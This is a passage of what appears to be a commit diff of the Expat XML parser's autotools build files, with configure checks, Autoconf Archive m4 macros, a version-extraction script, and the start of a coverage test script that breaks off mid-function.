[arc4random_buf],
[],
[AS_IF([test "x${with_libbsd}" = xyes],
[AC_MSG_ERROR([Enforced use of libbsd cannot be satisfied.])])])])
AC_MSG_CHECKING([for arc4random_buf (BSD or libbsd)])
AC_LINK_IFELSE([AC_LANG_SOURCE([
#include <stdlib.h> /* for arc4random_buf on BSD, for NULL */
#if defined(HAVE_LIBBSD)
# include <bsd/stdlib.h>
#endif
int main() {
arc4random_buf(NULL, 0U);
return 0;
}
])],
[AC_DEFINE([HAVE_ARC4RANDOM_BUF], [1], [Define to 1 if you have the `arc4random_buf' function.])
AC_MSG_RESULT([yes])],
[AC_MSG_RESULT([no])
AC_MSG_CHECKING([for arc4random (BSD, macOS or libbsd)])
AC_LINK_IFELSE([AC_LANG_SOURCE([
#if defined(HAVE_LIBBSD)
# include <bsd/stdlib.h>
#else
# include <stdlib.h>
#endif
int main() {
arc4random();
return 0;
}
])],
[AC_DEFINE([HAVE_ARC4RANDOM], [1], [Define to 1 if you have the `arc4random' function.])
AC_MSG_RESULT([yes])],
[AC_MSG_RESULT([no])])])
AC_ARG_WITH([getrandom],
[AS_HELP_STRING([--with-getrandom],
[enforce the use of getrandom function in the system @<:@default=check@:>@])
AS_HELP_STRING([--without-getrandom],
[skip auto detect of getrandom @<:@default=check@:>@])],
[],
[with_getrandom=check])
AS_IF([test "x$with_getrandom" != xno],
[AC_MSG_CHECKING([for getrandom (Linux 3.17+, glibc 2.25+)])
AC_LINK_IFELSE([AC_LANG_SOURCE([
#include <stdlib.h> /* for NULL */
#include <sys/random.h>
int main() {
return getrandom(NULL, 0U, 0U);
}
])],
[AC_DEFINE([HAVE_GETRANDOM], [1], [Define to 1 if you have the `getrandom' function.])
AC_MSG_RESULT([yes])],
[AC_MSG_RESULT([no])
AS_IF([test "x$with_getrandom" = xyes],
[AC_MSG_ERROR([enforced the use of getrandom --with-getrandom, but not detected])])])])
AC_ARG_WITH([sys_getrandom],
[AS_HELP_STRING([--with-sys-getrandom],
[enforce the use of syscall SYS_getrandom function in the system @<:@default=check@:>@])
AS_HELP_STRING([--without-sys-getrandom],
[skip auto detect of syscall SYS_getrandom @<:@default=check@:>@])],
[],
[with_sys_getrandom=check])
AS_IF([test "x$with_sys_getrandom" != xno],
[AC_MSG_CHECKING([for syscall SYS_getrandom (Linux 3.17+)])
AC_LINK_IFELSE([AC_LANG_SOURCE([
#include <stdlib.h> /* for NULL */
#include <unistd.h> /* for syscall */
#include <sys/syscall.h> /* for SYS_getrandom */
int main() {
syscall(SYS_getrandom, NULL, 0, 0);
return 0;
}
])],
[AC_DEFINE([HAVE_SYSCALL_GETRANDOM], [1], [Define to 1 if you have `syscall' and `SYS_getrandom'.])
AC_MSG_RESULT([yes])],
[AC_MSG_RESULT([no])
AS_IF([test "x$with_sys_getrandom" = xyes],
[AC_MSG_ERROR([enforced the use of syscall SYS_getrandom --with-sys-getrandom, but not detected])])])])
dnl Only needed for xmlwf:
AC_CHECK_HEADERS(fcntl.h unistd.h)
AC_TYPE_OFF_T
AC_FUNC_MMAP
AS_IF([test "$ac_cv_func_mmap_fixed_mapped" = "yes"],
[AS_VAR_SET(FILEMAP,unixfilemap)],
[AS_VAR_SET(FILEMAP,readfilemap)])
AC_SUBST(FILEMAP)
dnl Some basic configuration:
AC_DEFINE([XML_NS], 1,
[Define to make XML Namespaces functionality available.])
AC_DEFINE([XML_DTD], 1,
[Define to make parameter entity parsing functionality available.])
AC_DEFINE([XML_DEV_URANDOM], 1,
[Define to include code reading entropy from `/dev/urandom'.])
AC_ARG_ENABLE([xml-attr-info],
[AS_HELP_STRING([--enable-xml-attr-info],
[Enable retrieving the byte offsets for attribute names and values @<:@default=no@:>@])],
[],
[enable_xml_attr_info=no])
AS_IF([test "x${enable_xml_attr_info}" = "xyes"],
[AC_DEFINE([XML_ATTR_INFO], 1,
[Define to allow retrieving the byte offsets for attribute names and values.])])
AC_ARG_ENABLE([xml-context],
AS_HELP_STRING([--enable-xml-context @<:@COUNT@:>@],
[Retain context around the current parse point;
default is enabled and a size of 1024 bytes])
AS_HELP_STRING([--disable-xml-context],
[Do not retain context around the current parse point]),
[enable_xml_context=${enableval}])
AS_IF([test "x${enable_xml_context}" != "xno"],
[AS_IF([test "x${enable_xml_context}" = "xyes" \
-o "x${enable_xml_context}" = "x"],
[AS_VAR_SET(enable_xml_context,1024)])
AC_DEFINE_UNQUOTED([XML_CONTEXT_BYTES], [${enable_xml_context}],
[Define to specify how much context to retain around the current parse point.])])
AC_ARG_WITH([docbook],
[AS_HELP_STRING([--with-docbook],
[enforce XML to man page compilation @<:@default=check@:>@])
AS_HELP_STRING([--without-docbook],
[skip XML to man page compilation @<:@default=check@:>@])],
[],
[with_docbook=check])
AC_ARG_VAR([DOCBOOK_TO_MAN], [docbook2x-man command])
AS_IF([test "x$with_docbook" != xno],
[AC_CHECK_PROGS([DOCBOOK_TO_MAN], [docbook2x-man db2x_docbook2man docbook2man docbook-to-man])])
AS_IF([test "x${DOCBOOK_TO_MAN}" = x -a "x$with_docbook" = xyes],
[AC_MSG_ERROR([Required program 'docbook2x-man' not found.])])
AS_IF([test "x${DOCBOOK_TO_MAN}" != x -a "x$with_docbook" != xno],
[AS_IF([${DOCBOOK_TO_MAN} --help | grep -i -q -F sgmlbase],
[AC_MSG_ERROR([Your local ${DOCBOOK_TO_MAN} was found to work with SGML rather
than XML. Please install docbook2X and use variable DOCBOOK_TO_MAN to point
configure to command docbook2x-man of docbook2X.
Or use DOCBOOK_TO_MAN="xmlto man --skip-validation" if you have xmlto around.
You can also configure using --without-docbook if you can do without a man
page for xmlwf.])])])
AM_CONDITIONAL(WITH_DOCBOOK, [test "x${DOCBOOK_TO_MAN}" != x])
dnl Configure CMake file templates
dnl NOTE: The *_TRUE variables read here are Automake conditionals
dnl that are either set to "" when enabled or to "#" when disabled
dnl (because they are used to dynamically comment out certain things)
AS_IF([test "x${enable_xml_attr_info}" = xyes],
[EXPAT_ATTR_INFO=ON],
[EXPAT_ATTR_INFO=OFF])
EXPAT_DTD=ON
AS_IF([test "x${_INTERNAL_LARGE_SIZE_TRUE}" = x],
[EXPAT_LARGE_SIZE=ON],
[EXPAT_LARGE_SIZE=OFF])
AS_IF([test "x${_INTERNAL_MIN_SIZE_TRUE}" = x],
[EXPAT_MIN_SIZE=ON],
[EXPAT_MIN_SIZE=OFF])
EXPAT_NS=ON
AS_IF([test "x${enable_xml_context}" != xno],
[EXPAT_CONTEXT_BYTES=${enable_xml_context}],
[EXPAT_CONTEXT_BYTES=OFF])
AS_IF([test "x${UNICODE_TRUE}" = x],
[AS_IF(
[test "x${_INTERNAL_UNICODE_WCHAR_T_TRUE}" = x],
[EXPAT_CHAR_TYPE=wchar_t],
[EXPAT_CHAR_TYPE=ushort])],
[EXPAT_CHAR_TYPE=char])
PACKAGE_INIT="${srcdir}"/cmake/autotools/expat-package-init.cmake
LIBDIR_BASENAME="$(basename "${libdir}")"
SO_MAJOR="$(expr "${LIBCURRENT}" - "${LIBAGE}")"
SO_MINOR="${LIBAGE}"
SO_PATCH="${LIBREVISION}"
AC_CHECK_SIZEOF([void *]) # sets ac_cv_sizeof_void_p
AC_SUBST([EXPAT_ATTR_INFO])
AC_SUBST([EXPAT_DTD])
AC_SUBST([EXPAT_LARGE_SIZE])
AC_SUBST([EXPAT_MIN_SIZE])
AC_SUBST([EXPAT_NS])
AC_SUBST([EXPAT_CONTEXT_BYTES])
AC_SUBST([EXPAT_CHAR_TYPE])
AC_SUBST_FILE([PACKAGE_INIT])
AC_SUBST([LIBDIR_BASENAME])
AC_SUBST([SO_MAJOR])
AC_SUBST([SO_MINOR])
AC_SUBST([SO_PATCH])
AC_SUBST([ac_cv_sizeof_void_p])
dnl write the Automake flags we set
AC_SUBST([AM_CPPFLAGS])
AC_SUBST([AM_CFLAGS])
AC_SUBST([AM_CXXFLAGS])
AC_SUBST([AM_LDFLAGS])
dnl Emulate the use of CMAKE_SHARED_LIBRARY_PREFIX under CMake
AC_MSG_CHECKING([for shared library name prefix])
AS_CASE("${host_os}",
[cygwin*], [CMAKE_SHARED_LIBRARY_PREFIX=cyg],
[CMAKE_SHARED_LIBRARY_PREFIX=lib])
AC_MSG_RESULT([${CMAKE_SHARED_LIBRARY_PREFIX}])
AC_SUBST([CMAKE_SHARED_LIBRARY_PREFIX])
AS_CASE("${host_os}",
[darwin*], [CMAKE_NOCONFIG_SOURCE=cmake/autotools/expat-noconfig__macos.cmake.in],
[mingw*|cygwin*], [CMAKE_NOCONFIG_SOURCE=cmake/autotools/expat-noconfig__windows.cmake.in],
[CMAKE_NOCONFIG_SOURCE=cmake/autotools/expat-noconfig__linux.cmake.in])
AC_CONFIG_FILES([Makefile]
[expat.pc]
[cmake/expat-config.cmake]
[cmake/autotools/expat-config-version.cmake]
[cmake/autotools/expat-noconfig.cmake:${CMAKE_NOCONFIG_SOURCE}]
[doc/Makefile]
[examples/Makefile]
[lib/Makefile]
[tests/Makefile]
[tests/benchmark/Makefile]
[xmlwf/Makefile])
AC_CONFIG_FILES([run.sh], [chmod +x run.sh])
AC_OUTPUT
AC_MSG_NOTICE([
Automake flags (can be overridden by user flags):
[AM_CPPFLAGS]: ${AM_CPPFLAGS}
[AM_CFLAGS]: ${AM_CFLAGS}
[AM_CXXFLAGS]: ${AM_CXXFLAGS}
[AM_LDFLAGS]: ${AM_LDFLAGS}
User flags (override Automake flags on conflict):
CPPFLAGS: ${CPPFLAGS}
CFLAGS: ${CFLAGS}
CXXFLAGS: ${CXXFLAGS}
LDFLAGS: ${LDFLAGS}])
+11
View File
@@ -0,0 +1,11 @@
compile
config.guess
config.sub
depcomp
install-sh
libtool.m4
ltconfig
ltmain.sh
missing
test-driver
ar-lib
@@ -0,0 +1,46 @@
# ============================================================================
# https://www.gnu.org/software/autoconf-archive/ax_append_compile_flags.html
# ============================================================================
#
# SYNOPSIS
#
# AX_APPEND_COMPILE_FLAGS([FLAG1 FLAG2 ...], [FLAGS-VARIABLE], [EXTRA-FLAGS], [INPUT])
#
# DESCRIPTION
#
# For every FLAG1, FLAG2 it is checked whether the compiler works with the
# flag. If it does, the flag is added FLAGS-VARIABLE
#
# If FLAGS-VARIABLE is not specified, the current language's flags (e.g.
# CFLAGS) is used. During the check the flag is always added to the
# current language's flags.
#
# If EXTRA-FLAGS is defined, it is added to the current language's default
# flags (e.g. CFLAGS) when the check is done. The check is thus made with
# the flags: "CFLAGS EXTRA-FLAGS FLAG". This can for example be used to
# force the compiler to issue an error when a bad flag is given.
#
# INPUT gives an alternative input source to AC_COMPILE_IFELSE.
#
# NOTE: This macro depends on the AX_APPEND_FLAG and
# AX_CHECK_COMPILE_FLAG. Please keep this macro in sync with
# AX_APPEND_LINK_FLAGS.
#
# LICENSE
#
# Copyright (c) 2011 Maarten Bosmans <mkbosmans@gmail.com>
#
# Copying and distribution of this file, with or without modification, are
# permitted in any medium without royalty provided the copyright notice
# and this notice are preserved. This file is offered as-is, without any
# warranty.
#serial 7
AC_DEFUN([AX_APPEND_COMPILE_FLAGS],
[AX_REQUIRE_DEFINED([AX_CHECK_COMPILE_FLAG])
AX_REQUIRE_DEFINED([AX_APPEND_FLAG])
for flag in $1; do
AX_CHECK_COMPILE_FLAG([$flag], [AX_APPEND_FLAG([$flag], [$2])], [], [$3], [$4])
done
])dnl AX_APPEND_COMPILE_FLAGS
+50
View File
@@ -0,0 +1,50 @@
# ===========================================================================
# https://www.gnu.org/software/autoconf-archive/ax_append_flag.html
# ===========================================================================
#
# SYNOPSIS
#
# AX_APPEND_FLAG(FLAG, [FLAGS-VARIABLE])
#
# DESCRIPTION
#
# FLAG is appended to the FLAGS-VARIABLE shell variable, with a space
# added in between.
#
# If FLAGS-VARIABLE is not specified, the current language's flags (e.g.
# CFLAGS) is used. FLAGS-VARIABLE is not changed if it already contains
# FLAG. If FLAGS-VARIABLE is unset in the shell, it is set to exactly
# FLAG.
#
# NOTE: Implementation based on AX_CFLAGS_GCC_OPTION.
#
# LICENSE
#
# Copyright (c) 2008 Guido U. Draheim <guidod@gmx.de>
# Copyright (c) 2011 Maarten Bosmans <mkbosmans@gmail.com>
#
# Copying and distribution of this file, with or without modification, are
# permitted in any medium without royalty provided the copyright notice
# and this notice are preserved. This file is offered as-is, without any
# warranty.
#serial 8
AC_DEFUN([AX_APPEND_FLAG],
[dnl
AC_PREREQ(2.64)dnl for _AC_LANG_PREFIX and AS_VAR_SET_IF
AS_VAR_PUSHDEF([FLAGS], [m4_default($2,_AC_LANG_PREFIX[FLAGS])])
AS_VAR_SET_IF(FLAGS,[
AS_CASE([" AS_VAR_GET(FLAGS) "],
[*" $1 "*], [AC_RUN_LOG([: FLAGS already contains $1])],
[
AS_VAR_APPEND(FLAGS,[" $1"])
AC_RUN_LOG([: FLAGS="$FLAGS"])
])
],
[
AS_VAR_SET(FLAGS,[$1])
AC_RUN_LOG([: FLAGS="$FLAGS"])
])
AS_VAR_POPDEF([FLAGS])dnl
])dnl AX_APPEND_FLAG
+44
View File
@@ -0,0 +1,44 @@
# ===========================================================================
# https://www.gnu.org/software/autoconf-archive/ax_append_link_flags.html
# ===========================================================================
#
# SYNOPSIS
#
# AX_APPEND_LINK_FLAGS([FLAG1 FLAG2 ...], [FLAGS-VARIABLE], [EXTRA-FLAGS], [INPUT])
#
# DESCRIPTION
#
# For every FLAG1, FLAG2 it is checked whether the linker works with the
# flag. If it does, the flag is added FLAGS-VARIABLE
#
# If FLAGS-VARIABLE is not specified, the linker's flags (LDFLAGS) is
# used. During the check the flag is always added to the linker's flags.
#
# If EXTRA-FLAGS is defined, it is added to the linker's default flags
# when the check is done. The check is thus made with the flags: "LDFLAGS
# EXTRA-FLAGS FLAG". This can for example be used to force the linker to
# issue an error when a bad flag is given.
#
# INPUT gives an alternative input source to AC_COMPILE_IFELSE.
#
# NOTE: This macro depends on the AX_APPEND_FLAG and AX_CHECK_LINK_FLAG.
# Please keep this macro in sync with AX_APPEND_COMPILE_FLAGS.
#
# LICENSE
#
# Copyright (c) 2011 Maarten Bosmans <mkbosmans@gmail.com>
#
# Copying and distribution of this file, with or without modification, are
# permitted in any medium without royalty provided the copyright notice
# and this notice are preserved. This file is offered as-is, without any
# warranty.
#serial 7
AC_DEFUN([AX_APPEND_LINK_FLAGS],
[AX_REQUIRE_DEFINED([AX_CHECK_LINK_FLAG])
AX_REQUIRE_DEFINED([AX_APPEND_FLAG])
for flag in $1; do
AX_CHECK_LINK_FLAG([$flag], [AX_APPEND_FLAG([$flag], [m4_default([$2], [LDFLAGS])])], [], [$3], [$4])
done
])dnl AX_APPEND_LINK_FLAGS
+77
View File
@@ -0,0 +1,77 @@
# ===========================================================================
# http://www.gnu.org/software/autoconf-archive/ax_check_compile_flag.html
# ===========================================================================
#
# SYNOPSIS
#
# AX_CHECK_COMPILE_FLAG(FLAG, [ACTION-SUCCESS], [ACTION-FAILURE], [EXTRA-FLAGS], [INPUT])
#
# DESCRIPTION
#
# Check whether the given FLAG plus -Werror works with the current
# language's compiler — C or C++ — or gives an error.
#
# ACTION-SUCCESS/ACTION-FAILURE are shell commands to execute on
# success/failure.
#
# If EXTRA-FLAGS is defined, it is added to the current language's default
# flags (e.g. CFLAGS) when the check is done. The check is thus made with
# the flags: "CFLAGS EXTRA-FLAGS FLAG". This can for example be used to
# force the compiler to issue an error when a bad flag is given.
#
# INPUT gives an alternative input source to AC_COMPILE_IFELSE.
#
# NOTE: Implementation based on AX_CFLAGS_GCC_OPTION. Please keep this
# macro in sync with AX_CHECK_{PREPROC,LINK}_FLAG.
#
# LICENSE
#
# Copyright (c) 2008 Guido U. Draheim <guidod@gmx.de>
# Copyright (c) 2011 Maarten Bosmans <mkbosmans@gmail.com>
# Copyright (c) 2020 Sebastian Pipping <sebastian@pipping.org>
#
# This program is free software: you can redistribute it and/or modify it
# under the terms of the GNU General Public License as published by the
# Free Software Foundation, either version 3 of the License, or (at your
# option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General
# Public License for more details.
#
# You should have received a copy of the GNU General Public License along
# with this program. If not, see <http://www.gnu.org/licenses/>.
#
# As a special exception, the respective Autoconf Macro's copyright owner
# gives unlimited permission to copy, distribute and modify the configure
# scripts that are the output of Autoconf when processing the Macro. You
# need not follow the terms of the GNU General Public License when using
# or distributing such scripts, even though portions of the text of the
# Macro appear in them. The GNU General Public License (GPL) does govern
# all other use of the material that constitutes the Autoconf Macro.
#
# This special exception to the GPL applies to versions of the Autoconf
# Macro released by the Autoconf Archive. When you make and distribute a
# modified version of the Autoconf Macro, you may extend this special
# exception to the GPL to apply to your modified version as well.
#serial 6
AC_DEFUN([AX_CHECK_COMPILE_FLAG],
[AC_PREREQ(2.64)dnl for _AC_LANG_PREFIX and AS_VAR_IF
AS_VAR_PUSHDEF([CACHEVAR],[ax_cv_check_[]_AC_LANG_ABBREV[]flags_$4_$1])dnl
AC_CACHE_CHECK([whether _AC_LANG compiler accepts $1], CACHEVAR, [
ax_check_save_flags=$[]_AC_LANG_PREFIX[]FLAGS
_AC_LANG_PREFIX[]FLAGS="$[]_AC_LANG_PREFIX[]FLAGS $4 -Werror $1"
AC_COMPILE_IFELSE([m4_default([$5],
[AC_LANG_SOURCE(
[[int main(void) { return 0; }]])])],
[AS_VAR_SET(CACHEVAR,[yes])],
[AS_VAR_SET(CACHEVAR,[no])])
_AC_LANG_PREFIX[]FLAGS=$ax_check_save_flags])
AS_VAR_IF(CACHEVAR,yes,
[m4_default([$2], :)],
[m4_default([$3], :)])
AS_VAR_POPDEF([CACHEVAR])dnl
])dnl AX_CHECK_COMPILE_FLAGS
+53
View File
@@ -0,0 +1,53 @@
# ===========================================================================
# https://www.gnu.org/software/autoconf-archive/ax_check_link_flag.html
# ===========================================================================
#
# SYNOPSIS
#
# AX_CHECK_LINK_FLAG(FLAG, [ACTION-SUCCESS], [ACTION-FAILURE], [EXTRA-FLAGS], [INPUT])
#
# DESCRIPTION
#
# Check whether the given FLAG works with the linker or gives an error.
# (Warnings, however, are ignored)
#
# ACTION-SUCCESS/ACTION-FAILURE are shell commands to execute on
# success/failure.
#
# If EXTRA-FLAGS is defined, it is added to the linker's default flags
# when the check is done. The check is thus made with the flags: "LDFLAGS
# EXTRA-FLAGS FLAG". This can for example be used to force the linker to
# issue an error when a bad flag is given.
#
# INPUT gives an alternative input source to AC_LINK_IFELSE.
#
# NOTE: Implementation based on AX_CFLAGS_GCC_OPTION. Please keep this
# macro in sync with AX_CHECK_{PREPROC,COMPILE}_FLAG.
#
# LICENSE
#
# Copyright (c) 2008 Guido U. Draheim <guidod@gmx.de>
# Copyright (c) 2011 Maarten Bosmans <mkbosmans@gmail.com>
#
# Copying and distribution of this file, with or without modification, are
# permitted in any medium without royalty provided the copyright notice
# and this notice are preserved. This file is offered as-is, without any
# warranty.
#serial 6
AC_DEFUN([AX_CHECK_LINK_FLAG],
[AC_PREREQ(2.64)dnl for _AC_LANG_PREFIX and AS_VAR_IF
AS_VAR_PUSHDEF([CACHEVAR],[ax_cv_check_ldflags_$4_$1])dnl
AC_CACHE_CHECK([whether the linker accepts $1], CACHEVAR, [
ax_check_save_flags=$LDFLAGS
LDFLAGS="$LDFLAGS $4 $1"
AC_LINK_IFELSE([m4_default([$5],[AC_LANG_PROGRAM()])],
[AS_VAR_SET(CACHEVAR,[yes])],
[AS_VAR_SET(CACHEVAR,[no])])
LDFLAGS=$ax_check_save_flags])
AS_VAR_IF(CACHEVAR,yes,
[m4_default([$2], :)],
[m4_default([$3], :)])
AS_VAR_POPDEF([CACHEVAR])dnl
])dnl AX_CHECK_LINK_FLAGS
+37
View File
@@ -0,0 +1,37 @@
# ===========================================================================
# https://www.gnu.org/software/autoconf-archive/ax_require_defined.html
# ===========================================================================
#
# SYNOPSIS
#
# AX_REQUIRE_DEFINED(MACRO)
#
# DESCRIPTION
#
# AX_REQUIRE_DEFINED is a simple helper for making sure other macros have
# been defined and thus are available for use. This avoids random issues
# where a macro isn't expanded. Instead the configure script emits a
# non-fatal:
#
# ./configure: line 1673: AX_CFLAGS_WARN_ALL: command not found
#
# It's like AC_REQUIRE except it doesn't expand the required macro.
#
# Here's an example:
#
# AX_REQUIRE_DEFINED([AX_CHECK_LINK_FLAG])
#
# LICENSE
#
# Copyright (c) 2014 Mike Frysinger <vapier@gentoo.org>
#
# Copying and distribution of this file, with or without modification, are
# permitted in any medium without royalty provided the copyright notice
# and this notice are preserved. This file is offered as-is, without any
# warranty.
#serial 2
AC_DEFUN([AX_REQUIRE_DEFINED], [dnl
m4_ifndef([$1], [m4_fatal([macro ]$1[ is not defined; is a m4 file missing?])])
])dnl AX_REQUIRE_DEFINED
+43
View File
@@ -0,0 +1,43 @@
dnl Check if --with-expat[=PREFIX] is specified and
dnl Expat >= 1.95.0 is installed in the system.
dnl If yes, substitute EXPAT_CFLAGS, EXPAT_LIBS with regard to
dnl the specified PREFIX and set with_expat to PREFIX, or 'yes' if PREFIX
dnl has not been specified. Also HAVE_LIBEXPAT, HAVE_EXPAT_H are defined.
dnl If --with-expat has not been specified, set with_expat to 'no'.
dnl In addition, an Automake conditional EXPAT_INSTALLED is set accordingly.
dnl This is necessary to adapt a whole lot of packages that have expat
dnl bundled as a static library.
AC_DEFUN([AM_WITH_EXPAT],
[ AC_ARG_WITH(expat,
[ --with-expat=PREFIX Use system Expat library],
, with_expat=no)
AM_CONDITIONAL(EXPAT_INSTALLED, test $with_expat != no)
EXPAT_CFLAGS=
EXPAT_LIBS=
if test $with_expat != no; then
if test $with_expat != yes; then
EXPAT_CFLAGS="-I$with_expat/include"
EXPAT_LIBS="-L$with_expat/lib"
fi
AC_CHECK_LIB(expat, XML_ParserCreate,
[ EXPAT_LIBS="$EXPAT_LIBS -lexpat"
expat_found=yes ],
[ expat_found=no ],
"$EXPAT_LIBS")
if test $expat_found = no; then
AC_MSG_ERROR([Could not find the Expat library])
fi
expat_save_CFLAGS="$CFLAGS"
CFLAGS="$CFLAGS $EXPAT_CFLAGS"
AC_CHECK_HEADERS(expat.h, , expat_found=no)
if test $expat_found = no; then
AC_MSG_ERROR([Could not find expat.h])
fi
CFLAGS="$expat_save_CFLAGS"
fi
AC_SUBST(EXPAT_CFLAGS)
AC_SUBST(EXPAT_LIBS)
])
@@ -0,0 +1,39 @@
# expatcfg-compiler-supports-visibility.m4 --
#
# SYNOPSIS
#
# EXPATCFG_COMPILER_SUPPORTS_VISIBILITY([ACTION-IF-YES],
# [ACTION-IF-NO])
#
# DESCRIPTION
#
# Check if the selected compiler supports the "visibility" attribute
# and set the variable "expatcfg_cv_compiler_supports_visibility"
# accordingly to "yes" or "no".
#
# In addition, execute ACTION-IF-YES or ACTION-IF-NO.
#
# LICENSE
#
# Copyright (c) 2018 The Expat Authors.
#
# Copying and distribution of this file, with or without modification,
# are permitted in any medium without royalty provided the copyright
# notice and this notice are preserved. This file is offered as-is,
# without any warranty.
AC_DEFUN([EXPATCFG_COMPILER_SUPPORTS_VISIBILITY],
[AC_CACHE_CHECK([whether compiler supports visibility],
[expatcfg_cv_compiler_supports_visibility],
[AS_VAR_SET([expatcfg_cv_compiler_supports_visibility],[no])
AS_VAR_COPY([OLDFLAGS],[CFLAGS])
AS_VAR_APPEND([CFLAGS],[" -fvisibility=hidden -Wall -Werror -Wno-unknown-warning-option"])
AC_COMPILE_IFELSE([AC_LANG_SOURCE([[
void __attribute__((visibility("default"))) foo(void);
void foo(void) {}
]])],
[AS_VAR_SET([expatcfg_cv_compiler_supports_visibility],[yes])])
AS_VAR_COPY([CFLAGS],[OLDFLAGS])])
AS_IF([test "$expatcfg_cv_compiler_supports_visibility" = yes],[$1],[$2])])
# end of file
+61
View File
@@ -0,0 +1,61 @@
#!/bin/sh
# USAGE: get-version.sh path/to/expat.h
#
# This script will print Expat's version number on stdout. For example:
#
# $ ./conftools/get-version.sh ./lib/expat.h
# 1.95.3
# __ __ _
# ___\ \/ /_ __ __ _| |_
# / _ \\ /| '_ \ / _` | __|
# | __// \| |_) | (_| | |_
# \___/_/\_\ .__/ \__,_|\__|
# |_| XML parser
#
# Copyright (c) 2002 Greg Stein <gstein@users.sourceforge.net>
# Copyright (c) 2017 Kerin Millar <kfm@plushkava.net>
# Licensed under the MIT license:
#
# Permission is hereby granted, free of charge, to any person obtaining
# a copy of this software and associated documentation files (the
# "Software"), to deal in the Software without restriction, including
# without limitation the rights to use, copy, modify, merge, publish,
# distribute, sublicense, and/or sell copies of the Software, and to permit
# persons to whom the Software is furnished to do so, subject to the
# following conditions:
#
# The above copyright notice and this permission notice shall be included
# in all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN
# NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM,
# DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR
# OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE
# USE OR OTHER DEALINGS IN THE SOFTWARE.
if test $# = 0; then
echo "ERROR: pathname for expat.h was not provided."
echo ""
echo "USAGE: $0 path/to/expat.h"
exit 1
fi
if test $# != 1; then
echo "ERROR: too many arguments were provided."
echo ""
echo "USAGE: $0 path/to/expat.h"
exit 1
fi
hdr="$1"
if test ! -r "$hdr"; then
echo "ERROR: '$hdr' does not exist, or is not readable."
exit 1
fi
MAJOR_VERSION=$(sed -n -e '/MAJOR_VERSION/s/[^0-9]*//gp' "$hdr")
MINOR_VERSION=$(sed -n -e '/MINOR_VERSION/s/[^0-9]*//gp' "$hdr")
MICRO_VERSION=$(sed -n -e '/MICRO_VERSION/s/[^0-9]*//gp' "$hdr")
printf '%s.%s.%s' "$MAJOR_VERSION" "$MINOR_VERSION" "$MICRO_VERSION"
+332
View File
@@ -0,0 +1,332 @@
#! /usr/bin/env bash
# __ __ _
# ___\ \/ /_ __ __ _| |_
# / _ \\ /| '_ \ / _` | __|
# | __// \| |_) | (_| | |_
# \___/_/\_\ .__/ \__,_|\__|
# |_| XML parser
#
# Copyright (c) 2017-2022 Sebastian Pipping <sebastian@pipping.org>
# Copyright (c) 2018 Marco Maggi <marco.maggi-ipsu@poste.it>
# Copyright (c) 2019 Mohammed Khajapasha <mohammed.khajapasha@intel.com>
# Licensed under the MIT license:
#
# Permission is hereby granted, free of charge, to any person obtaining
# a copy of this software and associated documentation files (the
# "Software"), to deal in the Software without restriction, including
# without limitation the rights to use, copy, modify, merge, publish,
# distribute, sublicense, and/or sell copies of the Software, and to permit
# persons to whom the Software is furnished to do so, subject to the
# following conditions:
#
# The above copyright notice and this permission notice shall be included
# in all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN
# NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM,
# DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR
# OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE
# USE OR OTHER DEALINGS IN THE SOFTWARE.
export PS4='# '
_get_source_dir() {
echo "source__${version}"
}
_get_build_dir() {
local libbsd_part=
if ${with_libbsd}; then
libbsd_part=__libbsd
fi
local mingw_part=
if ${with_mingw}; then
mingw_part=__windows
fi
local char_part=
if ${unicode_enabled}; then
char_part=__wchar_t
elif ${with_unsigned_char}; then
char_part=__uchar
else
char_part=__char
fi
local xml_attr_part=
if ${xml_attr_info_enabled}; then
xml_attr_part=__attr_info
fi
local m32_part=
if ${with_m32}; then
m32_part=__m32
fi
echo "build__${version}__xml_context_${xml_context}${libbsd_part}${mingw_part}${char_part}${xml_attr_part}${m32_part}"
}
_get_coverage_dir() {
echo "coverage__${version}"
}
_call_cmake() {
local cmake_args=()
${unicode_enabled} \
&& cmake_args+=( -DEXPAT_CHAR_TYPE=wchar_t )
${xml_attr_info_enabled} \
&& cmake_args+=( -DEXPAT_ATTR_INFO=ON )
if [[ ${xml_context} -eq 0 ]]; then
cmake_args+=( -DEXPAT_CONTEXT_BYTES=OFF )
else
cmake_args+=( -DEXPAT_CONTEXT_BYTES=${xml_context} )
fi
${with_libbsd} && cmake_args+=( -DEXPAT_WITH_LIBBSD=ON )
${with_mingw} && cmake_args+=( -DCMAKE_TOOLCHAIN_FILE="${abs_source_dir}"/cmake/mingw-toolchain.cmake )
${with_m32} && cmake_args+=( -D_EXPAT_M32=ON )
(
set -x
cmake "${cmake_args[@]}" "$@" . &>> cmake.log
)
}
_copy_to() {
local target_dir="$1"
[[ -d "${target_dir}" ]] && return 0
mkdir "${target_dir}"
git archive --format=tar "${version}" | ( cd "${target_dir}" && tar x )
}
_copy_missing_mingw_libaries() {
# These extra files are copied because
# * coverage GCC flags make them needed
# * With WINEDLLPATH Wine looks for .dll.so in these folders, not .dll
local target="$1"
local mingw_gcc_dll_dir="$(dirname "$(ls -1 /usr/lib*/gcc/i686-w64-mingw32/*/{libgcc_s_sjlj-1.dll,libstdc++-6.dll} | head -n1)")"
for dll in libgcc_s_dw2-1.dll libgcc_s_sjlj-1.dll libstdc++-6.dll; do
(
set -x
